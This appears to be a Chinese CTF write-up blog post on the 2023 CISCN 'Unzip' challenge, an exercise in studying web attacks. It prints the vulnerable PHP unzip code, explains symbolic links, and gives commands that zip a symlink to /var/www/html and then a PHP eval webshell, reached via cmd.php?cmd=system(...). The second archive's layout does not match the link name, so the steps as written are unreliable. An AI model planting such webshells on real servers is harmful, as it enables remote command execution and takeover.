Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
805 字
4 分钟
水题
2025-12-16

随便写点水题#

2023 ciscn(国赛) Unzip#

image-20251216141750795

打开环境是一个文件上传页面,先传个小🐎

出现源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
//检查mime值是否为压缩包文件
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
//如果是的话解压到/tmp文件夹中
};
//only this!

源码逻辑很清晰,就是要我们上传一个里面带🐎的压缩包,但问题是我们没有访问/tmp的权限

这里就要用到linux中的一个知识点软连接

1. 概念与作用#

概念#

软链接相当于 Windows 系统中的“快捷方式”或 macOS 中的“替身”。它是一个特殊的文件,其内容存储的是指向另一个文件或目录的路径

  • 与硬链接(Hard Link)的区别:
    • 软链接: 是一个独立的文件,有自己的 inode。它指向目标文件的路径。如果目标文件被删除,软链接就会失效(成为“死链接”)。
    • 硬链接: 只是目标文件的一个额外目录项。它指向目标文件的 inode。只要至少存在一个硬链接,文件内容就不会丢失。硬链接不能跨文件系统,也不能链接目录。
核心作用#
  1. 方便访问: 允许你在不移动文件的情况下,在文件系统的不同位置创建对同一文件的引用。
  2. 跨文件系统引用: 软链接可以指向不同硬盘分区或不同文件系统上的文件或目录(硬链接不能)。
  3. 链接目录: 软链接可以链接到一个目录(硬链接不能链接目录)。
  4. 路径隐藏/简化: 可以在不改变应用配置的情况下,通过软链接更改应用实际读取的数据源。

2. 常规用法(创建)#

创建软链接使用 ln 命令,必须加上 -s 选项(s 代表 symbolic)。

语法:#

Bash

ln -s <目标文件或目录> <链接名>
示例:#
  1. 链接文件: 创建一个名为 my_link.txt 的软链接,指向 /home/user/data.txt

    Bash

    ln -s /home/user/data.txt my_link.txt
  2. 链接目录: 创建一个名为 logs 的软链接,指向 /var/log/apache 目录:

    Bash

    ln -s /var/log/apache logs

    现在,你访问 logs/error.log 就相当于访问 /var/log/apache/error.log

查看软链接:#

使用 ls -lls -ld 命令,软链接的开头是 l,并会显示其指向的目标:

Bash

$ ls -ld logs
lrwxrwxrwx 1 user user 18 Dec 16 14:05 logs -> /var/log/apache
# 'l' 代表链接,'->' 箭头后显示其目标路径。

那么这道题的逻辑就变成了先上传一个带有软连接的压缩包,然后再上传一个带有🐎的压缩包,这样就可以将/tmp与根目录穿透,在根目录访问到我们上传的内存马来getshell

下面开始复现

Terminal window
mkdir ciscn #创建一个文件夹存文件
cd ciscn
ln -s /var/www/html link #创建一个软连接,打通根目录和/tmp目录
zip --symlinks link.zip link #压缩打包软连接
mkdir shell #再创一个文件夹写马
cd shell
echo '<?php @eval($_GET["cmd"]);?>' >cmd.php
cd ../
zip -r link1.zip ./shell

之后,先上传link.zip再上传link1.zip就可以访问cmd.php文件了

cmd.php?cmd=system('cat flag');
水题
https://btop251.vercel.app/posts/ctf/随便写点水题/
作者
btop251
发布于
2025-12-16
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时